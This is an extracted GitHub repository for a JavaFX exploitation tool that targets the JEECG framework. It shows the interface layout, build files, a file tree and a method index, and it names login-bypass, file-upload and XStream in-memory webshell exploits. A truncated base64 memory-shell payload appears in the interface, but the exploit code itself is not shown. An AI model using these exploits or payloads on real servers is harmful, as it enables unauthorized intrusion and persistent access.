<?import javafx.scene.layout.AnchorPane?>
<?import javafx.scene.text.Text?>
<AnchorPane prefHeight="643.0" prefWidth="804.0" xmlns="http://javafx.com/javafx/17" xmlns:fx="http://javafx.com/fxml/1" fx:controller="com.example.jeecg_tools.HelloController">
<children>
<TitledPane layoutY="24.0" prefHeight="115.0" prefWidth="804.0" text="漏洞检测">
<content>
<AnchorPane minHeight="0.0" minWidth="0.0" prefHeight="85.0" prefWidth="802.0">
<children>
<TextArea fx:id="URL_" layoutX="64.0" layoutY="13.0" minHeight="-Infinity" prefHeight="29.0" prefWidth="379.0" text="http://192.168.43.54:8080/jeecg" />
<Label layoutX="8.0" layoutY="19.0" prefHeight="17.0" prefWidth="43.0" text="URL：" />
<Button fx:id="Vulcheck_" layoutX="632.0" layoutY="14.0" onMousePressed="#VulCheck" text="漏洞检测" textAlignment="RIGHT">
<opaqueInsets>
<Insets left="20.0" />
</opaqueInsets>
</Button>
<Button fx:id="Clean_" layoutX="711.0" layoutY="14.0" mnemonicParsing="false" onMousePressed="#onCleanlog" text="清空日志" />
<ComboBox fx:id="comboBox" layoutX="458.0" layoutY="14.0" prefWidth="150.0" />
<Label layoutX="8.0" layoutY="56.0" prefHeight="17.0" prefWidth="58.0" text="请求头：" wrapText="true" />
<TextArea fx:id="HEAD_" layoutX="64.0" layoutY="50.0" minHeight="-Infinity" prefHeight="29.0" prefWidth="545.0" text="Cookie: JSESSIONID=4542BAB4C4C024F42DA05EC85186AE4D;" wrapText="true" />
<CheckBox fx:id="CheckHEAD_" layoutX="626.0" layoutY="56.0" mnemonicParsing="false" text="使用请求头" />
</children>
</AnchorPane>
</content>
</TitledPane>
<TitledPane layoutY="139.0" prefHeight="506.0" prefWidth="804.0" text="漏洞利用">
<content>
<TabPane prefHeight="481.0" prefWidth="802.0" tabClosingPolicy="UNAVAILABLE">
<tabs>
<Tab text="基本信息">
<content>
<AnchorPane prefHeight="448.0" prefWidth="802.0">
<children>
<TextArea fx:id="INFO_" layoutX="9.0" layoutY="14.0" prefHeight="428.0" prefWidth="785.0" text=" 工具说明：本工具为jeecg框架漏洞利用工具非jeecg-boot！" />
</children>
</AnchorPane>
</content>
</Tab>
<Tab text="文件上传">
<content>
<AnchorPane prefHeight="414.0" prefWidth="802.0">
<children>
<Text layoutX="14.0" layoutY="34.0" strokeType="OUTSIDE" strokeWidth="0.0" text="文件名称：" wrappingWidth="76.3837890625" />
<TextArea fx:id="FileName_" layoutX="90.0" layoutY="15.0" minHeight="-Infinity" prefHeight="29.0" prefWidth="354.0" text="test.jsp" />
<Button fx:id="FileUpload_" layoutX="464.0" layoutY="16.0" mnemonicParsing="false" onMousePressed="#FileUpload" text="Upload" />
<TextArea fx:id="FileContent_" layoutX="9.0" layoutY="53.0" prefHeight="230.0" prefWidth="785.0" text="<% out.println("HelloWorld");%>" wrapText="true" />
<TextArea fx:id="OutPath_" layoutX="9.0" layoutY="290.0" prefHeight="152.0" prefWidth="785.0" />
</children>
</AnchorPane>
</content></Tab>
<Tab text="Xstream内存马">
<content>
<AnchorPane minHeight="0.0" minWidth="0.0" prefHeight="180.0" prefWidth="200.0">
<children>
<Text layoutX="14.0" layoutY="34.0" strokeType="OUTSIDE" strokeWidth="0.0" text="文件名称：" />
<TextArea fx:id="XsFilename_" layoutX="90.0" layoutY="15.0" minHeight="-Infinity" prefHeight="29.0" prefWidth="354.0" />
<Button fx:id="Inject_" layoutX="469.0" layoutY="17.0" mnemonicParsing="false" onMousePressed="#Inject" text="Inject" />
<TextArea fx:id="XsContent_" layoutX="9.0" layoutY="53.0" prefHeight="230.0" prefWidth="785.0" text="JMG工具生成Tomcat-Filter-BASE64-专项JDK_AbstractTranslet内存马Payload yv66vgAAADEBtAEAJW9yZy9zc......" wrapText="true" />
<TextArea fx:id="XsXsOut_" layoutX="9.0" layoutY="290.0" prefHeight="152.0" prefWidth="785.0" text="说明： jeecg Xstream反序列化漏洞通过文件上传触发 注意：后缀名必须为.zip 且不可重复，否则可能会加载之前的payload" />
</children>
</AnchorPane>
</content>
</Tab>
</tabs>
</TabPane>
</content>
</TitledPane>
<MenuBar layoutY="-2.0" prefHeight="19.0" prefWidth="804.0">
<menus>
<Menu mnemonicParsing="false" text="代理">
<items>
<MenuItem mnemonicParsing="false" text="开发中～" />
</items>
</Menu>
<Menu mnemonicParsing="false" text="关于">
<items>
<MenuItem mnemonicParsing="false" text="github:https://github.com/K-7H7l/Jeecg_Tools" />
</items>
</Menu>
</menus>
</MenuBar>
</children>
<opaqueInsets>
<Insets />
</opaqueInsets>
</AnchorPane>
================================================
FILE: target/maven-archiver/pom.properties
================================================
artifactId=Jeecg_Tools
groupId=com.example
version=1.0-SNAPSHOT
================================================
FILE: target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
================================================
com/example/jeecg_tools/entity/Result.class
com/example/jeecg_tools/exploit/JEECG_commonUpload.class
com/example/jeecg_tools/exploit/JEECG_jeecgFormDemo.class
com/example/jeecg_tools/exploit/JEECG_XstreamInject.class
com/example/jeecg_tools/HelloApplication.class
com/example/jeecg_tools/exploit/JEECG_iconUpload.class
com/example/jeecg_tools/util/Tools.class
com/example/jeecg_tools/MainRunner.class
com/example/jeecg_tools/common/BasePayload.class
com/example/jeecg_tools/util/ExppList.class
com/example/jeecg_tools/HelloController.class
com/example/jeecg_tools/exploit/JEECG_unauthorized.class
================================================
FILE: target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
================================================
/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/exploit/JEECG_commonUpload.java
/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/HelloApplication.java
/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/entity/Result.java
/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/exploit/JEECG_XstreamInject.java
/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/common/BasePayload.java
/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/exploit/JEECG_unauthorized.java
/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/exploit/JEECG_iconUpload.java
/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/HelloController.java
/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/util/Tools.java
/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/exploit/JEECG_jeecgFormDemo.java
/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/util/ExppList.java
/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/MainRunner.java
gitextract_yojn6ymm/
├── README.md
├── pom.xml
├── src/
│ └── main/
│ ├── java/
│ │ └── com/
│ │ └── example/
│ │ └── jeecg_tools/
│ │ ├── HelloApplication.java
│ │ ├── HelloController.java
│ │ ├── MainRunner.java
│ │ ├── common/
│ │ │ └── BasePayload.java
│ │ ├── entity/
│ │ │ └── Result.java
│ │ ├── exploit/
│ │ │ ├── JEECG_XstreamInject.java
│ │ │ ├── JEECG_commonUpload.java
│ │ │ ├── JEECG_iconUpload.java
│ │ │ ├── JEECG_jeecgFormDemo.java
│ │ │ └── JEECG_unauthorized.java
│ │ └── util/
│ │ ├── ExppList.java
│ │ └── Tools.java
│ └── resources/
│ ├── META-INF/
│ │ └── MANIFEST.MF
│ └── com/
│ └── example/
│ └── jeecg_tools/
│ └── hello-view.fxml
└── target/
├── Jeecg_Tools-1.0-SNAPSHOT-jar-with-dependencies.jar
├── Jeecg_Tools-1.0-SNAPSHOT.jar
├── classes/
│ ├── META-INF/
│ │ └── MANIFEST.MF
│ └── com/
│ └── example/
│ └── jeecg_tools/
│ └── hello-view.fxml
├── maven-archiver/
│ └── pom.properties
└── maven-status/
└── maven-compiler-plugin/
└── compile/
└── default-compile/
├── createdFiles.lst
└── inputFiles.lst
SYMBOL INDEX (59 symbols across 12 files)
FILE: src/main/java/com/example/jeecg_tools/HelloApplication.java
class HelloApplication (line 11) | public class HelloApplication extends Application {
method start (line 12) | @Override
FILE: src/main/java/com/example/jeecg_tools/HelloController.java
class HelloController (line 22) | public class HelloController {
method initialize (line 70) | public void initialize() {
method Cookie_ (line 78) | @FXML
method Inject (line 105) | @FXML
method FileUpload (line 120) | @FXML
method VulCheck (line 145) | @FXML
method onCleanlog (line 186) | @FXML
FILE: src/main/java/com/example/jeecg_tools/MainRunner.java
class MainRunner (line 3) | public class MainRunner {
method main (line 4) | public static void main(String[] args) {
FILE: src/main/java/com/example/jeecg_tools/common/BasePayload.java
type BasePayload (line 5) | public interface BasePayload {
method checkVUL (line 6) | Result checkVUL(String str) throws Exception;
method exeVUL (line 7) | Result exeVUL(String str,String str2) throws Exception;
method getShell (line 8) | Result getShell(String str) throws Exception;
method fileUpload (line 9) | Result fileUpload(String str, String filename,String filecontent) thro...
method Inject (line 10) | Result Inject(String url,String xsfilename,String payload) throws Exce...
FILE: src/main/java/com/example/jeecg_tools/entity/Result.java
class Result (line 3) | public class Result {
method isRes (line 8) | public boolean isRes() {
method setRes (line 12) | public void setRes(boolean res) {
method getPayload (line 16) | public String getPayload() {
method setPayload (line 20) | public void setPayload(String payload) {
method getVuln (line 24) | public String getVuln() {
method setVuln (line 28) | public void setVuln(String vuln) {
method Result (line 32) | public Result(boolean res, String payload, String vuln) {
FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_XstreamInject.java
class JEECG_XstreamInject (line 12) | public class JEECG_XstreamInject implements BasePayload {
method checkVUL (line 13) | @Override
method exeVUL (line 30) | @Override
method getShell (line 35) | @Override
method fileUpload (line 40) | @Override
method Inject (line 45) | @Override
FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_commonUpload.java
class JEECG_commonUpload (line 13) | public class JEECG_commonUpload implements BasePayload {
method Inject (line 14) | @Override
method checkVUL (line 19) | @Override
method exeVUL (line 34) | @Override
method getShell (line 39) | @Override
method fileUpload (line 44) | @Override
FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_iconUpload.java
class JEECG_iconUpload (line 13) | public class JEECG_iconUpload implements BasePayload {
method checkVUL (line 16) | @Override
method exeVUL (line 31) | @Override
method getShell (line 36) | @Override
method fileUpload (line 41) | @Override
method Inject (line 68) | @Override
FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_jeecgFormDemo.java
class JEECG_jeecgFormDemo (line 16) | public class JEECG_jeecgFormDemo implements BasePayload {
method checkVUL (line 19) | @Override
method exeVUL (line 34) | @Override
method getShell (line 39) | @Override
method fileUpload (line 44) | @Override
method Inject (line 72) | @Override
FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_unauthorized.java
class JEECG_unauthorized (line 8) | public class JEECG_unauthorized implements BasePayload {
method checkVUL (line 10) | @Override
method exeVUL (line 27) | @Override
method getShell (line 32) | @Override
method fileUpload (line 37) | @Override
method Inject (line 42) | @Override
FILE: src/main/java/com/example/jeecg_tools/util/ExppList.java
class ExppList (line 6) | public class ExppList {
method get_exp (line 7) | public static List<String> get_exp() {
FILE: src/main/java/com/example/jeecg_tools/util/Tools.java
class Tools (line 10) | public class Tools {
method getPayload (line 20) | public static BasePayload getPayload(String select){
Condensed preview — 23 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (49K chars).
[
{
"path": "README.md",
"chars": 706,
"preview": "## 介绍\n\n**本工具为jeecg框架漏洞利用工具非jeecg-boot！**\n\n**包含poc：**\n\n- **登录绕过检测**\n- **jeecgFormDemo文件上传**\n- **common文件上传**\n- **icon文件上传"
},
{
"path": "pom.xml",
"chars": 5422,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n xmlns:xsi=\"http://www"
},
{
"path": "src/main/java/com/example/jeecg_tools/HelloApplication.java",
"chars": 751,
"preview": "package com.example.jeecg_tools;\n\nimport cn.hutool.http.GlobalHeaders;\nimport javafx.application.Application;\nimport jav"
},
{
"path": "src/main/java/com/example/jeecg_tools/HelloController.java",
"chars": 5617,
"preview": "package com.example.jeecg_tools;\n\nimport cn.hutool.http.HttpResponse;\nimport com.example.jeecg_tools.common.BasePayload;"
},
{
"path": "src/main/java/com/example/jeecg_tools/MainRunner.java",
"chars": 170,
"preview": "package com.example.jeecg_tools;\n\npublic class MainRunner {\n public static void main(String[] args) {\n HelloAp"
},
{
"path": "src/main/java/com/example/jeecg_tools/common/BasePayload.java",
"chars": 450,
"preview": "package com.example.jeecg_tools.common;\n\nimport com.example.jeecg_tools.entity.Result;\n\npublic interface BasePayload {\n "
},
{
"path": "src/main/java/com/example/jeecg_tools/entity/Result.java",
"chars": 673,
"preview": "package com.example.jeecg_tools.entity;\n\npublic class Result {\n boolean res;\n String payload;\n String vuln;\n\n "
},
{
"path": "src/main/java/com/example/jeecg_tools/exploit/JEECG_XstreamInject.java",
"chars": 6118,
"preview": "package com.example.jeecg_tools.exploit;\n\nimport cn.hutool.http.HttpResponse;\nimport cn.hutool.http.Method;\nimport com.e"
},
{
"path": "src/main/java/com/example/jeecg_tools/exploit/JEECG_commonUpload.java",
"chars": 2245,
"preview": "package com.example.jeecg_tools.exploit;\n\nimport cn.hutool.http.HttpRequest;\nimport cn.hutool.http.HttpResponse;\nimport "
},
{
"path": "src/main/java/com/example/jeecg_tools/exploit/JEECG_iconUpload.java",
"chars": 2257,
"preview": "package com.example.jeecg_tools.exploit;\n\n import cn.hutool.http.HttpResponse;\n import cn.hutool.http.HttpRequest;\n impo"
},
{
"path": "src/main/java/com/example/jeecg_tools/exploit/JEECG_jeecgFormDemo.java",
"chars": 2427,
"preview": "package com.example.jeecg_tools.exploit;\n\nimport cn.hutool.http.HttpRequest;\nimport cn.hutool.http.HttpResponse;\nimport "
},
{
"path": "src/main/java/com/example/jeecg_tools/exploit/JEECG_unauthorized.java",
"chars": 1354,
"preview": "package com.example.jeecg_tools.exploit;\n\nimport cn.hutool.http.HttpResponse;\nimport cn.hutool.http.Method;\nimport com.e"
},
{
"path": "src/main/java/com/example/jeecg_tools/util/ExppList.java",
"chars": 425,
"preview": "package com.example.jeecg_tools.util;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class ExppList {\n p"
},
{
"path": "src/main/java/com/example/jeecg_tools/util/Tools.java",
"chars": 812,
"preview": "package com.example.jeecg_tools.util;\n\nimport com.example.jeecg_tools.common.BasePayload;\nimport com.example.jeecg_tools"
},
{
"path": "src/main/resources/META-INF/MANIFEST.MF",
"chars": 79,
"preview": "Manifest-Version: 1.0\r\nMain-Class: com.example.jeecg_tools.HelloApplication\r\n\r\n"
},
{
"path": "src/main/resources/com/example/jeecg_tools/hello-view.fxml",
"chars": 6040,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<?import javafx.geometry.Insets?>\n<?import javafx.scene.control.Button?>\n<?impor"
},
{
"path": "target/classes/META-INF/MANIFEST.MF",
"chars": 73,
"preview": "Manifest-Version: 1.0\r\nMain-Class: com.example.jeecg_tools.MainRunner\r\n\r\n"
},
{
"path": "target/classes/com/example/jeecg_tools/hello-view.fxml",
"chars": 6080,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<?import javafx.geometry.Insets?>\n<?import javafx.scene.control.Button?>\n<?impor"
},
{
"path": "target/maven-archiver/pom.properties",
"chars": 64,
"preview": "artifactId=Jeecg_Tools\ngroupId=com.example\nversion=1.0-SNAPSHOT\n"
},
{
"path": "target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst",
"chars": 597,
"preview": "com/example/jeecg_tools/entity/Result.class\ncom/example/jeecg_tools/exploit/JEECG_commonUpload.class\ncom/example/jeecg_t"
},
{
"path": "target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst",
"chars": 1065,
"preview": "/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/exploit/JEECG_commonUpload.java\n/Users/lvlvlv/Jeecg_Tool"
}
]
// ... and 2 more files (download for full content)
About this extraction
This page contains the full source code of the K-7H7l/Jeecg_Tools GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 23 files (10.4 MB), approximately 11.5k tokens, and a symbol index with 59 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.